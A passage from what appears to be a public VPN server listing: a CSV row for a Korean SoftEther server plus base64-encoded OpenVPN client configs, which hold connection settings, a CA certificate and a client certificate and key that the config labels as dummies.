DQojICBkYXRhLWNpcGhlcnM6IHNhbWUgYXMgY2lwaGVyDQojICBhdXRoOiAgIFNIQSBTSEExIFNIQTI1NiBTSEEzODQgU0hBNTEyIE1ENSBNRDQgUk1EMTYwDQojDQojIE5vdGU6IFRvIHNvbHZlIE9wZW5WUE4gY29tcGF0aWJpbGl0eSBidWcNCiMgUmVjZW50IHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcCByZXF1aXJlIHNwZWNpZnlpbmcgdGhlICJkYXRhLWNpcGhlcnMiDQojIGZpZWxkIGluc3RlYWQgb2YgdGhlICJjaXBoZXIiIGZpZWxkLiBIb3dldmVyLCBvbGRlciB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHANCiMgZG8gbm90IHJlY29nbml6ZSAiZGF0YS1jaXBoZXJzLiIgUmF0aGVyIHRoYW4gaWdub3JpbmcgaXQsIHRoZXkgcHJvZHVjZQ0KIyBhIHN0YXJ0dXAgZXJyb3Igc3RhdGluZyB0aGF0ICJubyBzdWNoIG9wdGlvbiBleGlzdHMuIiBUaGlzIGlzIGEgYnVnDQojIGluIE9wZW5WUE4uIElmIHlvdSBlbmNvdW50ZXIgdGhpcyBpc3N1ZSwgcGxlYXNlIGNvbW1lbnQgb3V0DQojIHRoZSAiZGF0YS1jaXBoZXJzIiBsaW5lLg0KDQpjaXBoZXIgQUVTLTEyOC1DQkMNCmRhdGEtY2lwaGVycyBBRVMtMTI4LUNCQw0KYXV0aCBTSEExDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPdGhlciBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSB0byBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgSXQgaXMgbm90IHJlY29tbWVuZGVkIHRvIG1vZGlmeSBpdCB1bmxlc3MgeW91IGhhdmUgYSBwYXJ0aWN1bGFyIG5lZWQuDQoNCnJlc29sdi1yZXRyeSBpbmZpbml0ZQ0Kbm9iaW5kDQpwZXJzaXN0LWtleQ0KcGVyc2lzdC10dW4NCmNsaWVudA0KdmVyYiAzDQojYXV0aC11c2VyLXBhc3MNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjZXJ0aWZpY2F0ZSBmaWxlIG9mIHRoZSBkZXN0aW5hdGlvbiBWUE4gU2VydmVyLg0KIyANCiMgVGhlIENBIGNlcnRpZmljYXRlIGZpbGUgaXMgZW1iZWRkZWQgaW4gdGhlIGlubGluZSBmb3JtYXQuDQojIFlvdSBjYW4gcmVwbGFjZSB0aGlzIENBIGNvbnRlbnRzIGlmIG5lY2Vzc2FyeS4NCiMgUGxlYXNlIG5vdGUgdGhhdCBpZiB0aGUgc2VydmVyIGNlcnRpZmljYXRlIGlzIG5vdCBhIHNlbGYtc2lnbmVkLCB5b3UgaGF2ZSB0bw0KIyBzcGVjaWZ5IHRoZSBzaWduZXIncyByb290IGNlcnRpZmljYXRlIChDQSkgaGVyZS4NCg0KPGNhPg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlGYXpDQ0ExT2dBd0lCQWdJUkFJSVF6N0RTUU9OWlJHUGd1Mk9DaXdBd0RRWUpLb1pJaHZjTkFRRUxCUUF3DQpUekVMTUFrR0ExVUVCaE1DVlZNeEtUQW5CZ05WQkFvVElFbHVkR1Z5Ym1WMElGTmxZM1Z5YVhSNUlGSmxjMlZoDQpjbU5vSUVkeWIzVndNUlV3RXdZRFZRUURFd3hKVTFKSElGSnZiM1FnV0RFd0hoY05NVFV3TmpBME1URXdORE00DQpXaGNOTXpVd05qQTBNVEV3TkRNNFdqQlBNUXN3Q1FZRFZRUUdFd0pWVXpFcE1DY0dBMVVFQ2hNZ1NXNTBaWEp1DQpaWFFnVTJWamRYSnBkSGtnVW1WelpXRnlZMmdnUjNKdmRYQXhGVEFUQmdOVkJBTVRERWxUVWtjZ1VtOXZkQ0JZDQpNVENDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFLM29KSFAwRkRmem01NHJWeWdjDQpoNzdjdDk4NGtJeHVQT1pYb0hqM2RjS2kvdlZxYnZZQVR5amIzbWlHYkVTVHRyRmovUlFTYTc4ZjB1b3hteUYrDQowVE04dWtqMTNYbmZzN2ovRXZFaG1rdkJpb1p4YVVwbVpteVBmanh3djYwcElnYno1TURtZ0s3aVM0KzNtWDZVDQpBNS9UUjVkOG1VZ2pVK2c0cms4S2I0TXUwVWxYaklCMHR0b3YwRGlOZXdOd0lSdDE4akE4K28rdTNkcGpxK3NXDQpUOEtPRVV0K3p3dm8vN1YzTHZTeWUwcmdUQklsREhDTkF5bWc0Vk1rN0JQWjdobS9FTE5LakQrSm8yRlIzcXlIDQpCNVQwWTNIc0x1SnZXNWlCNFlsY05IbHNkdTg3a0dKNTV0dWttaThteGRBUTRRN2UyUkNPRnZ1Mzk2ajN4K1VDDQpCNWlQTmdpVjUrSTNsZzAyZFo3N0RuS3hIWnU4QS9sSkJkaUIzUVcwS3RaQjZhd0JkcFVLRDlqZjFiMFNIelV2DQpLQmRzMHBqQnFBbGtkMjVITjdyT3JGbGVhSjEvY3RhSnhRWkJLVDVaUHQwbTlTVEpFYWRhbzB4QUgwYWhtYlduDQpPbEZ1aGp1ZWZYS25FZ1Y0V2UwK1VYZ1ZDd09QamRBdkJiSStlMG9jUzNNRkV2ekc2dUJRRTN4RGszU3p5blRuDQpqaDhCQ05BdzFGdHhOclFIdXNFd01GeEl0NEk3bUtaOVlJcWlveW1DekxxOWd3UWJvb01EUWFIV0JmRWJ3cmJ3DQpxSHlHTzBhb1NDcUkzSGFhZHI4ZmFxVTlHWS9yT1BOazNzZ3JEUW9vLy9mYjRoVkMxQ0xRSjEzaGVmNFk1M0NJDQpyVTdtMllzNnh0MG5VVzcvdkdUMU0wTlBBZ01CQUFHalFqQkFNQTRHQTFVZER3RUIvd1FFQXdJQkJqQVBCZ05WDQpIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJSNXRGbm1lN2JsNUFGemdBaUl5QnBZOXVtYmJqQU5CZ2txDQpoa2lHOXcwQkFRc0ZBQU9DQWdFQVZSOVlxYnl5cUZEUURMSFlHbWtnSnlrSXJHRjFYSXB1K0lMbGFTL1Y5bFpMDQp1Ymh6RUZuVElaZCs1MHh4KzdMU1lLMDVxQXZxRnlGV2hmRlFEbG5yenVCWjZickpGZStHblkrRWdQYms2WkdRDQozQmViWWh0RjhHYVYwbnh2d3VvNzd4L1B5OWF1Si9HcHNNaXUvWDErbXZvaUJPdi8yWC9xa1NzaXNSY09qL0tLDQpORnRZMlB3QnlWUzV1Q2JNaW9nemlVd3RoRHlDMys2V1Z3VzZMTHYzeExmSFRqdUN2akhJSW5Oemt0SENnS1E1DQpPUkF6STRKTVBKK0dzbFdZSGI0cGhvd2ltNTdpYXp0WE9vSndUZHdKeDRuTENnZE5iT2hkanNudnpxdkh1N1VyDQpUa1hXU3RBbXpPVnl5Z2hxcFpYakZhSDNwTzNKTEYrbCsvK3NLQUl1dnRkN3UrTnhlNUFXMHdkZVJsTjhOd2RDDQpqTlBFbHB6Vm1iVXE0SlVhZ0VpdVREa0h6c3hIcEZLVks3cTQrNjNTTTFOOTVSMU5iZFdoc2NkQ2IrWkFKelZjDQpveWkzQjQzbmpUT1E1eU9mKzFDY2VXeEcxYlFWczVadWZwc01sanE0VWkwLzFsdmgrd2pDaFA0a3FLT0oycXhxDQo0Umdxc2FoRFlWdlRIOXc3alhieUxlaU5kZDhYTTJ3OVUvdDd5MEZmLzl5aTBHRTQ0WmE0ckYyTE45ZDExVFBBDQptUkd1blVIQmNuV0V2Z0pCUWw5bkpFaVUwWnNudmdjL3ViaFBnWFJSNFhxMzdaMGo0cjdnMVNnRUV6d3hBNTdkDQplbXlQeGdjWXhuL2VSNDQvS0o0RUJzK2xWRFIzdmV5Sm0ra1hROTliMjEvK2poNVhvczFBblg1aUl0cmVHQ2M9DQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2E+DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2xpZW50IGNlcnRpZmljYXRlIGZpbGUgKGR1bW15KS4NCiMgDQojIEluIHNvbWUgaW1wbGVtZW50YXRpb25zIG9mIE9wZW5WUE4gQ2xpZW50IHNvZnR3YXJlDQojIChmb3IgZXhhbXBsZTogT3BlblZQTiBDbGllbnQgZm9yIGlPUyksDQojIGEgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUgYW5kIHByaXZhdGUga2V5IG11c3QgYmUgaW5jbHVkZWQgb24gdGhlDQojIGNvbmZpZ3VyYXRpb24gZmlsZSBkdWUgdG8gdGhlIGxpbWl0YXRpb24gb2YgdGhlIGNsaWVudC4NCiMgU28gdGhpcyBzYW1wbGUgY29uZmlndXJhdGlvbiBmaWxlIGhhcyBhIGR1bW15IHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlDQojIGFuZCBwcml2YXRlIGtleSBhcyBmb2xsb3dzLg0KDQo8Y2VydD4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJQ3hqQ0NBYTRDQVFBd0RRWUpLb1pJaHZjTkFRRUZCUUF3S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOcw0KYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUU1CNFhEVEV6TURJeE1UQXpORGswT1ZvWERUTTNNREV4T1RBeg0KTVRRd04xb3dLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUQ0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQQ0KNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5UndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRA0KNFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuY3pXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUQ0KQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaTU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2Nw0KWENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aA0KcC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQW1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRA0KeXdJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQlFVQUE0SUJBUUNoTzVoZ2N3LzRvV2ZvRUZMdTlrQmExQi8va3hIOA0KaFFrQ2hWTm44QlJDN1kwVVJRaXRQbDNES0VlZDlVUkJEZGcyS09Bejc3YmI2RU5QaWxpRCthMzhVSkhJUk1xZQ0KVUJIaGxsT0hJenZEaEhGYmFvdkFMQlFjZWVCemRrUXhzS1FFU0ttUW1SODMyOTUwVUNvdm95UkI2MVV5QVY3aA0KK21aaFlQR1JLWEtTSkk2czBFZ2cvQ3JpK0N3azRiakpmcmI1aFZzZTExeWg0RDlNSGh3U2ZDT0grMHo0aFBVVA0KRmt1N2RHYXZVUk81U1Z4TW4vc0w2RW41RCtvU2VYa2FkSHBEcytBaXJ5bTJZSGgxNWgwK2pQU09vUjZ5aVZwLw0KNnpaZVprck40M2t1UzczS3BLREZqZkZQaDh0NHIxZ09JanR0a05jUXFCY2N1c25wbFE3SEpwc2sNCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jZXJ0Pg0KDQo8a2V5Pg0KLS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ0KTUlJRXBBSUJBQUtDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5Ug0Kd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JENFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuYw0Kelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaQ0KNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3WENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTg0KLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZocC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQQ0KbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEeXdJREFRQUJBb0lCQUVSVjdYNUF2eEE4dVJpSw0KazhTSXBzRDBkWDFwSk9NSXdha1VWeXZjNEVmTjBEaEtSTmI0cllvU2lFR1RMeXpMcHlCYy9BMjhEbGttNWVPWQ0KZmp6WGZZa0d0WWkvRnR4a2czTzl2Y3JNUTQrNmkrdUdIYUlMMnJMK3M0TXJmTzh2MXh2NitXa3kzM0VFR0NvdQ0KUWl3VkdSRlFYblJvUTYyTkJDRmJVTkxobVh3ZGoxYWtaekxVNHA1UjR6QTNRaGR4d0VJYXRWTHQwKzdvd0xRMw0KbFA4c2ZYaHBwUE9YalRxTUQ0UWtZd3pQQWE4L3pGN2FjbjRrcnlyVVA3UTZQQWZkMHpFVnFOeTlaQ1o5ZmZobw0KelhlZEZqNDg2SUZvYzVnblRwMk42anNuVmo0TENHSWhsVkhsWUdvektLRnFKY1FWR3NIQ3FxMW96MnpqVzZMUw0Kb1JZSUhnRUNnWUVBOHpacmtDd05ZU1hKdU9ESjNtL2hPTFZ4Y3hnSnV3WG9pRXJXZDBFNDJ2UGFuampWTWhudA0KS1k1bDhxR01KNkZoSzlMWXgycUNyZi9FMFh0VUFaMndWcTNPUlR5R25zTVdyZTl0TFlzNTVYK1pOMTBUYzc1eg0KNGhhY2JVMGhxS04xSGlEbXNNUlkzLzJOYVpIb3k3TUtud0pKQmFHNDhsOUNDVGxWd01Ib2NJRUNnWUVBOGpieQ0KZEdqeFRIKzZYSFdOaXpiNVNSYlp4QW55RWVKZVJ3VE1oMGdHendHUHBIL3NaWUd6eXUwU3lTWFdDblpoM1JncQ0KNXVMbE54dHJYcmxqWmx5aTJuUWRRZ3NxMllyV1VzMCt6Z1UrMjJ1UXNacFNBZnRtaFZydHZldDZNalZqYkJ5WQ0KREFEY2lFVlVkSllJWGsrcW5GVUp5ZXJvTElrVGo3V1lLWjZSamtzQ2dZQm9DRkl3UkRlZzQyb0s4OVJGbW5Pcg0KTHltTkFxNCsyb01oc1dsVmI0ZWpXSVdlQWs5bmMrR1hVZnJYc3pSaFMwMW1VblU1cjV5Z1V2UmNhclYvVDNVNw0KVG5NWitJN1k0RGdXUklEZDUxem5oeElCdFlWNWovQy90ODVIanFPa0grOGI2UlRrYmNoYVgzbWF1N2ZwVWZkcw0KRnEwbmhJcTQyZmhFTzhzcmZZWXdnUUtCZ1FDeWhpMU4vOHRhUndwayszL0lERXpRd2piZmR6VWtXV1NEazlYcw0KSC9wa3VSSFdmVE1QM2ZsV3FFWWdXL0xXNDBwZVcySERxNWltZFY4K0FnWnhlL1hNYmFqaTlMZ3dmMVJZMDA1bg0KS3hhWlF6N3lxSHVwV2xMR0Y2OERQSHhrWlZWU2FnRG5WL3N6dFdYNlNGc0NxRlZueElYaWZYR0M0Y1c1Tm05Zw0KdmE4cTRRS0JnUUNFaExWZVVmZHdLdmtaOTRnL0dGejczMVoyaHJkVmhnTVphVS91NnQwVjk1K1llelBOQ1FaQg0Kd21FOU1tbGJxMWVtRGVST2l2akNmb0doUjNrWlhXMXBUS2xMaDZaTVVRVU9wcHRkWHZhOFh4Zm9xUXdhM2VuQQ0KTTdtdUJiRjBYTjdWTzgwaUpQditQbUlaZEVJQWtwd0tmaTIwMVlCK0JhZkNJdUd4SUY1MFZnPT0NCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tDQoNCjwva2V5Pg0KDQo= +vpn828641621,175.113.226.10,563730,32,95641287,Korea Republic of,KR,10,0,73896,6588378895717,2weeks,BORA's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxNzUuMTEzLjIyNi4xMCA5OTUNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwT